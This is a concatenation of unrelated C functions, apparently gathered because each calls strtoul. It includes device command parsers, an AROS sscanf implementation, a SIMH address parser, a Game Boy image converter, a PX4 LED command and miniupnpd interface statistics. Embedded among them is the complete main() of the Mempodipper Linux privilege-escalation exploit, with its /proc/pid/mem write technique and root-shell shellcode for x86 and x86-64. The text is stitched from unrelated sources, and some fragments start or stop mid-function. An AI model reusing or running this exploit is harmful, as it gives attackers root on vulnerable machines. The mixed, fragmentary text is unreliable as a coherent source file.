fprintf(stderr, "results:"); for (i=0; i<len; i++) fprintf(stderr, " %02x", res[i]); fprintf(stderr, "\n"); fprintf(stdout, "\n"); return 0; }
int16_t parse_cmd_c6_set(char *cmd, char *output, uint16_t len) { char *buf; buf = strrchr (cmd, ' '); if (!buf) return ECMD_ERR_PARSE_ERROR; *(buf ++) = 0; struct c6_vario_type varvalue; if (!control6_get(cmd, &varvalue)) return ECMD_ERR_PARSE_ERROR; if (varvalue.type == C6_TYPE_int8_t || varvalue.type == C6_TYPE_int16_t) { /* signed */ int16_t nv = strtol (buf, NULL, 0); int32_t nlv = strtol (buf, NULL, 0); if (varvalue.type == C6_TYPE_int8_t) { if (nv < INT8_MIN || nv > INT8_MAX) range_error: return ECMD_FINAL(snprintf_P(output, len, PSTR("range error."))); else varvalue.data.d_int8_t = nv; } else if (varvalue.type == C6_TYPE_int32_t) { varvalue.data.d_int32_t = nlv; } else varvalue.data.d_int16_t = nv; } else { /* unsigned */ if (*buf == '-') goto range_error; uint16_t nv = strtoul (buf, NULL, 0); uint32_t nlv = strtoul (buf, NULL, 0); if (varvalue.type == C6_TYPE_uint8_t) { if (nv > UINT8_MAX) goto range_error; else varvalue.data.d_uint8_t = nv; } else if (varvalue.type == C6_TYPE_uint32_t) { varvalue.data.d_uint32_t = nlv; } else varvalue.data.d_uint16_t = nv; } control6_set (cmd, varvalue); return ECMD_FINAL_OK; }
int sscanf ( /* SYNOPSIS */ const char *str, const char *format, ...) /* FUNCTION Scan the specified string and convert it into the arguments as specified by format. INPUTS str - The routine examines this string. format - Format string. See scanf() for a description ... - Arguments for the result RESULT The number of converted parameters. NOTES EXAMPLE BUGS SEE ALSO fscanf(), vscanf(), vfscanf(), vsscanf() INTERNALS ******************************************************************************/ /* int _sscanf(char * str, const char * format, ... ) */ { #if 1 int retval; va_list args; va_start(args, format); retval = vsscanf(str, format, args); va_end(args); return retval; #else #define TRUE 1 #define FALSE 0 int n = 0; /* Counter of the number of processed letters in the input string s */ char * s_end; char * s = str; char * format_end; long int result; #ifndef AROS_NOFPU double D_result; #endif int maxwidth; int base; int size; int assignment; int retval = 0; va_list arg; va_start(arg, format); /* process the format string as long as there is a character */ while (*format) { /* search for the first letter in the format string that is not a space */ while ( isspace(*format) ) format++; /* see if there is a command */ if ('%' == *format) { /* Examine the next char */ format++; /* Initialize some variables */ maxwidth = -1; base = 10; size = 4; /* The next char can be a '*' */ if ('*' == *format) { /* No assignment to variable */ assignment = FALSE; /* Advance to next character */ format++; } else { assignment = TRUE; } /* Next there can be a number, a letter h,l or L or a * */ switch (*format) { case 'h' : size = sizeof(short int); format++; break; case 'l' : size = sizeof(long int); format++; break; case 'L' : size = sizeof(long double); format++; break; } /* now let us see for the format letter */ switch (*format++) { case 'd' : /* let us look for a signed integer number in the string */ result = strtol(s, &s_end, 10); n += (s_end - s); s = s_end; /* Ptr to the rest of the string in s */ if (TRUE == assignment) { retval++; if (sizeof(short int) == size) *va_arg(arg, short int *) = result; else *va_arg(arg, long int *) = result; } break; case 'i' : /* let us look for a signed integer number that can have a different base, i.e. hex or octal. Here we have to examine the next few letters in the format string for the base */ base = strtol(format, &format_end, 10); format = format_end; result = strtol(s, &s_end, base); n += (s_end - s); s = s_end; /* Ptr to the rest of the string in s */ if (TRUE == assignment) { retval++; if (sizeof(short int) == size) *va_arg(arg, short int *) = result; else *va_arg(arg, long int *) = result; } break; case 'o' : /* let us read in a signed octal number */ base = 8; result = strtol(s, &s_end, base); n += (s_end - s); s = s_end; /* Ptr to the rest of the string in s */ if (TRUE == assignment) { retval++; if (sizeof(short int) == size) *va_arg(arg, short int *) = result; else *va_arg(arg, long int *) = result; } break; case 'x' : case 'X' : /* let us read in a signed hexadecimal number */ base = 16; result = strtol(s, &s_end, base); n+= (s_end - s); s = s_end; /* Ptr to the rest of the string in s */ if (TRUE == assignment) { retval++; if (sizeof(short int) == size) *va_arg(arg, short int *) = result; else *va_arg(arg, long int *) = result; } break; case 'u' : /* let us read in an unsigned integer */ base = 10; result = strtoul(s, &s_end, base); n += (s_end - s); s = s_end; /* Ptr to the rest of the string in s */ if (TRUE == assignment) { retval++; if (sizeof(short int) == size) *va_arg(arg, short int *) = result; else *va_arg(arg, long int *) = result; } break; case 'c' : /* let us read in one single character */ /* do not skip whitespaces in s */ if (TRUE == assignment) { retval++; *va_arg(arg, char *) = *s++; } n++; break; case 's' : /* let us read in a string until the next whitespace comes along */ /* skip leading whitespaces in s */ while (isspace(*s)) { s++; n++; } /* s points to the start of the string */ s_end = s; /* let us look for the end of the string in s */ while (*s_end && isalpha(*s_end)) { s_end++; n++; } /* s_end points to the end of the string */ if(TRUE == assignment) { char * dest = va_arg(arg, char *); retval++; strncpy(dest, s, (long)s_end-(long)s); *(dest+((long)s_end-(long)s))='\0'; } s = s_end; break; #ifndef AROS_NOFPU case 'e' : case 'E' : case 'f' : case 'g' : case 'G' : /* a real number with optional sign, opt. decimal point and optional exponent */ D_result = strtod(s, &s_end); if (TRUE == assignment) { retval++; *va_arg(arg, double *) = D_result; } n += (long)(s_end - s); s = s_end; break; #endif case 'n' : /* the user wants to know how many letters we already processed on the input (not format!!) string. So we give hime the content of letter variable n */ if (TRUE == assignment) { /* NO retval++; here!! */ *va_arg(arg, long *) = n; } break; default : /* no known letter -> error!! */ return retval; } } /* if */
int main(int argc, char **argv) { if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') { char parent_mem[256]; sprintf(parent_mem, "/proc/%d/mem", getppid()); printf("[+] Opening parent mem %s in child.\n", parent_mem); int fd = open(parent_mem, O_RDWR); if (fd < 0) { perror("[-] open"); return 1; } printf("[+] Sending fd %d to parent.\n", fd); send_fd(atoi(argv[2]), fd); return 0; } printf("===============================\n"); printf("= Mempodipper =\n"); printf("= by zx2c4 =\n"); printf("= Jan 21, 2012 =\n"); printf("===============================\n\n"); int sockets[2]; printf("[+] Opening socketpair.\n"); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) { perror("[-] socketpair"); return -1; } if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); int fd = recv_fd(sockets[1]); printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); return -1; } printf("[+] Assigning fd %d to stderr.\n", fd); dup2(2, 6); dup2(fd, 2); unsigned long address; if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') address = strtoul(argv[2], NULL, 16); else { printf("[+] Reading su for exit@plt.\n"); // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed. FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); char result[32]; result[0] = 0; fgets(result, 32, command); pclose(command); address = strtoul(result, NULL, 16); if (address == ULONG_MAX || !address) { printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]); return 1; } printf("[+] Resolved exit@plt to 0x%lx.\n", address); } printf("[+] Calculating su padding.\n"); FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r"); char result[256]; result[0] = 0; fgets(result, 256, command); pclose(command); unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char); unsigned long offset = address - su_padding; printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET); #if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80"; #elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40" "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69" "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb" "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48" "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; #else #error "That platform is not supported." #endif printf("[+] Executing su with shellcode.\n"); execl("/bin/su", "su", shellcode, NULL); } else { char sock[32]; sprintf(sock, "%d", sockets[0]); printf("[+] Executing child from child fork.\n"); execl("/proc/self/exe", argv[0], "-c", sock, NULL); } }
int sim_parse_addr (const char *cptr, char *host, size_t host_len, const char *default_host, char *port, size_t port_len, const char *default_port, const char *validate_addr) { char gbuf[CBUFSIZE]; char *hostp, *portp; char *endc; unsigned long portval; if ((cptr == NULL) || (*cptr == 0)) return SCPE_ARG; if ((host != NULL) && (host_len != 0)) memset (host, 0, host_len); if ((port != NULL) && (port_len != 0)) memset (port, 0, port_len); gbuf[sizeof(gbuf)-1] = '\0'; strncpy (gbuf, cptr, sizeof(gbuf)-1); hostp = gbuf; /* default addr */ portp = NULL; if ((portp = strrchr (gbuf, ':')) && /* x:y? split */ (NULL == strchr (portp, ']'))) { *portp++ = 0; if (*portp == '\0') portp = (char *)default_port; } else { /* No colon in input */ portp = gbuf; /* Input is the port specifier */ hostp = (char *)default_host; /* host is defaulted if provided */ } if (portp != NULL) { portval = strtoul(portp, &endc, 10); if ((*endc == '\0') && ((portval == 0) || (portval > 65535))) return SCPE_ARG; /* numeric value too big */ if (*endc != '\0') { struct servent *se = getservbyname(portp, "tcp"); if (se == NULL) return SCPE_ARG; /* invalid service name */ } } if (port) /* port wanted? */ if (portp != NULL) { if (strlen(portp) >= port_len) return SCPE_ARG; /* no room */ else strcpy (port, portp); } if (hostp != NULL) { if (']' == hostp[strlen(hostp)-1]) { if ('[' != hostp[0]) return SCPE_ARG; /* invalid domain literal */ /* host may be the const default_host so move to temp buffer before modifying */ strncpy(gbuf, hostp+1, sizeof(gbuf)-1); /* remove brackets from domain literal host */ hostp = gbuf; hostp[strlen(hostp)-1] = '\0'; } } if (host) /* host wanted? */ if (hostp != NULL) { if (strlen(hostp) >= host_len) return SCPE_ARG; /* no room */ else strcpy (host, hostp); } if (validate_addr) { struct addrinfo *ai_host, *ai_validate, *ai; int status; if (hostp == NULL) return SCPE_ARG; if (getaddrinfo(hostp, NULL, NULL, &ai_host)) return SCPE_ARG; if (getaddrinfo(validate_addr, NULL, NULL, &ai_validate)) { freeaddrinfo (ai_host); return SCPE_ARG; } status = SCPE_ARG; for (ai = ai_host; ai != NULL; ai = ai->ai_next) { if ((ai->ai_addrlen == ai_validate->ai_addrlen) && (ai->ai_family == ai_validate->ai_family) && (0 == memcmp (ai->ai_addr, ai_validate->ai_addr, ai->ai_addrlen))) { status = SCPE_OK; break; } } if (status != SCPE_OK) { /* be generous and allow successful validations against variations of localhost addresses */ if (((0 == strcmp("127.0.0.1", hostp)) && (0 == strcmp("::1", validate_addr))) || ((0 == strcmp("127.0.0.1", validate_addr)) && (0 == strcmp("::1", hostp)))) status = SCPE_OK; } freeaddrinfo (ai_host); freeaddrinfo (ai_validate); return status; } return SCPE_OK; }
int main(int argc, char *argv[]) { int ch, size; struct Options opts = {0}; struct PNGImage png = {0}; struct GBImage gb = {0}; struct Tilemap tilemap = {0}; char *ext; const char *errmsg = "Warning: The PNG's %s setting is not the same as the setting defined on the command line."; progname = argv[0]; if (argc == 1) { usage(); } opts.mapfile = ""; opts.palfile = ""; opts.outfile = ""; depth = 2; while((ch = getopt(argc, argv, "DvFfd:hx:Tt:uPp:o:")) != -1) { switch(ch) { case 'D': opts.debug = true; break; case 'v': opts.verbose = true; break; case 'F': opts.hardfix = true; case 'f': opts.fix = true; break; case 'd': depth = strtoul(optarg, NULL, 0); break; case 'h': opts.horizontal = true; break; case 'x': opts.trim = strtoul(optarg, NULL, 0); break; case 'T': opts.mapout = true; break; case 't': opts.mapfile = optarg; break; case 'u': opts.unique = true; break; case 'P': opts.palout = true; break; case 'p': opts.palfile = optarg; break; case 'o': opts.outfile = optarg; break; default: usage(); } } argc -= optind; argv += optind; if (argc == 0) { usage(); } opts.infile = argv[argc - 1]; if (depth != 1 && depth != 2) { errx(1, "Depth option must be either 1 or 2."); } colors = 1 << depth; input_png_file(opts, &png); png.mapfile = ""; png.palfile = ""; get_text(&png); if (png.horizontal != opts.horizontal) { if (opts.verbose) { warnx(errmsg, "horizontal"); } if (opts.hardfix) { png.horizontal = opts.horizontal; } } if (png.horizontal) { opts.horizontal = png.horizontal; } if (png.trim != opts.trim) { if (opts.verbose) { warnx(errmsg, "trim"); } if (opts.hardfix) { png.trim = opts.trim; } } if (png.trim) { opts.trim = png.trim; } if (opts.trim > png.width / 8 - 1) { errx(1, "Trim (%i) for input png file '%s' too large (max: %i)", opts.trim, opts.infile, png.width / 8 - 1); } if (strcmp(png.mapfile, opts.mapfile) != 0) { if (opts.verbose) { warnx(errmsg, "tilemap file"); } if (opts.hardfix) { png.mapfile = opts.mapfile; } } if (!*opts.mapfile) { opts.mapfile = png.mapfile; } if (png.mapout != opts.mapout) { if (opts.verbose) { warnx(errmsg, "tilemap file"); } if (opts.hardfix) { png.mapout = opts.mapout; } } if (png.mapout) { opts.mapout = png.mapout; } if (strcmp(png.palfile, opts.palfile) != 0) { if (opts.verbose) { warnx(errmsg, "palette file"); } if (opts.hardfix) { png.palfile = opts.palfile; } } if (!*opts.palfile) { opts.palfile = png.palfile; } if (png.palout != opts.palout) { if (opts.verbose) { warnx(errmsg, "palette file"); } if (opts.hardfix) { png.palout = opts.palout; } } if (png.palout) { opts.palout = png.palout; } if (!*opts.mapfile && opts.mapout) { if ((ext = strrchr(opts.infile, '.')) != NULL) { size = ext - opts.infile + 9; opts.mapfile = malloc(size); strncpy(opts.mapfile, opts.infile, size); *strrchr(opts.mapfile, '.') = '\0'; strcat(opts.mapfile, ".tilemap"); } else { opts.mapfile = malloc(strlen(opts.infile) + 9); strcpy(opts.mapfile, opts.infile); strcat(opts.mapfile, ".tilemap"); } } if (!*opts.palfile && opts.palout) { if ((ext = strrchr(opts.infile, '.')) != NULL) { size = ext - opts.infile + 5; opts.palfile = malloc(size); strncpy(opts.palfile, opts.infile, size); *strrchr(opts.palfile, '.') = '\0'; strcat(opts.palfile, ".pal"); } else { opts.palfile = malloc(strlen(opts.infile) + 5); strcpy(opts.palfile, opts.infile); strcat(opts.palfile, ".pal"); } } gb.size = png.width * png.height * depth / 8; gb.data = calloc(gb.size, 1); gb.trim = opts.trim; gb.horizontal = opts.horizontal; if (*opts.outfile || *opts.mapfile) { png_to_gb(png, &gb); create_tilemap(opts, &gb, &tilemap); } if (*opts.outfile) { output_file(opts, gb); } if (*opts.mapfile) { output_tilemap_file(opts, tilemap); } if (*opts.palfile) { output_palette_file(opts, png); } if (opts.fix || opts.debug) { set_text(&png); output_png_file(opts, &png); } free_png_data(&png); free(gb.data); return 0; }
int gpio_led_main(int argc, char *argv[]) { if (argc < 2) { #ifdef CONFIG_ARCH_BOARD_PX4FMU_V1 errx(1, "usage: gpio_led {start|stop} [-p <1|2|a1|a2|r1|r2>]\n" "\t-p\tUse pin:\n" "\t\t1\tPX4FMU GPIO_EXT1 (default)\n" "\t\t2\tPX4FMU GPIO_EXT2\n" "\t\ta1\tPX4IO ACC1\n" "\t\ta2\tPX4IO ACC2\n" "\t\tr1\tPX4IO RELAY1\n" "\t\tr2\tPX4IO RELAY2" ); #endif #ifdef CONFIG_ARCH_BOARD_PX4FMU_V2 errx(1, "usage: gpio_led {start|stop} [-p <n>]\n" "\t-p <n>\tUse specified AUX OUT pin number (default: 1)" ); #endif } else { if (!strcmp(argv[1], "start")) { if (gpio_led_started) { errx(1, "already running"); } bool use_io = false; /* by default use GPIO_EXT_1 on FMUv1 and GPIO_SERVO_1 on FMUv2 */ int pin = 1; /* pin name to display */ #ifdef CONFIG_ARCH_BOARD_PX4FMU_V1 char *pin_name = "PX4FMU GPIO_EXT1"; #endif #ifdef CONFIG_ARCH_BOARD_PX4FMU_V2 char pin_name[] = "AUX OUT 1"; #endif if (argc > 2) { if (!strcmp(argv[2], "-p")) { #ifdef CONFIG_ARCH_BOARD_PX4FMU_V1 if (!strcmp(argv[3], "1")) { use_io = false; pin = GPIO_EXT_1; pin_name = "PX4FMU GPIO_EXT1"; } else if (!strcmp(argv[3], "2")) { use_io = false; pin = GPIO_EXT_2; pin_name = "PX4FMU GPIO_EXT2"; } else if (!strcmp(argv[3], "a1")) { use_io = true; pin = PX4IO_P_SETUP_RELAYS_ACC1; pin_name = "PX4IO ACC1"; } else if (!strcmp(argv[3], "a2")) { use_io = true; pin = PX4IO_P_SETUP_RELAYS_ACC2; pin_name = "PX4IO ACC2"; } else if (!strcmp(argv[3], "r1")) { use_io = true; pin = PX4IO_P_SETUP_RELAYS_POWER1; pin_name = "PX4IO RELAY1"; } else if (!strcmp(argv[3], "r2")) { use_io = true; pin = PX4IO_P_SETUP_RELAYS_POWER2; pin_name = "PX4IO RELAY2"; } else { errx(1, "unsupported pin: %s", argv[3]); } #endif #ifdef CONFIG_ARCH_BOARD_PX4FMU_V2 unsigned int n = strtoul(argv[3], NULL, 10); if (n >= 1 && n <= 6) { use_io = false; pin = 1 << (n - 1); snprintf(pin_name, sizeof(pin_name), "AUX OUT %d", n); } else { errx(1, "unsupported pin: %s", argv[3]); } #endif } } memset(&gpio_led_data, 0, sizeof(gpio_led_data)); gpio_led_data.use_io = use_io; gpio_led_data.pin = pin; int ret = work_queue(LPWORK, &gpio_led_data.work, gpio_led_start, &gpio_led_data, 0); if (ret != 0) { errx(1, "failed to queue work: %d", ret); } else { gpio_led_started = true; warnx("start, using pin: %s", pin_name); exit(0); } } else if (!strcmp(argv[1], "stop")) { if (gpio_led_started) { gpio_led_started = false; warnx("stop"); exit(0); } else { errx(1, "not running"); } } else { errx(1, "unrecognized command '%s', only supporting 'start' or 'stop'", argv[1]); } } }
int getifstats(const char * ifname, struct ifdata * data) { FILE *f; char line[512]; char * p; int i; int r = -1; #ifdef ENABLE_GETIFSTATS_CACHING static time_t cache_timestamp = 0; static struct ifdata cache_data; time_t current_time; #endif data->baudrate = 4200000; data->opackets = 0; data->ipackets = 0; data->obytes = 0; data->ibytes = 0; #ifdef ENABLE_GETIFSTATS_CACHING current_time = time(NULL); if(current_time == ((time_t)-1)) { syslog(LOG_ERR, "getifstats() : time() error : %m"); } else { if(current_time < cache_timestamp + GETIFSTATS_CACHING_DURATION) { memcpy(data, &cache_data, sizeof(struct ifdata)); return 0; } } #endif f = fopen("/proc/net/dev", "r"); if(!f) { syslog(LOG_ERR, "getifstats() : cannot open /proc/net/dev : %m"); return -1; } /* discard the two header lines */ fgets(line, sizeof(line), f); fgets(line, sizeof(line), f); while(fgets(line, sizeof(line), f)) { p = line; while(*p==' ') p++; i = 0; while(ifname[i] == *p) { p++; i++; } /* TODO : how to handle aliases ? */ if(ifname[i] || *p != ':') continue; p++; while(*p==' ') p++; data->ibytes = strtoul(p, &p, 0); while(*p==' ') p++; data->ipackets = strtoul(p, &p, 0); /* skip 6 columns */ for(i=6; i>0 && *p!='\0'; i--) { while(*p==' ') p++; while(*p!=' ' && *p) p++; } while(*p==' ') p++; data->obytes = strtoul(p, &p, 0); while(*p==' ') p++; data->opackets = strtoul(p, &p, 0); r = 0; break; } fclose(f); #ifdef ENABLE_GETIFSTATS_CACHING if(r==0 && current_time!=((time_t)-1)) { cache_timestamp = current_time; memcpy(&cache_data, data, sizeof(struct ifdata)); } #endif return r; }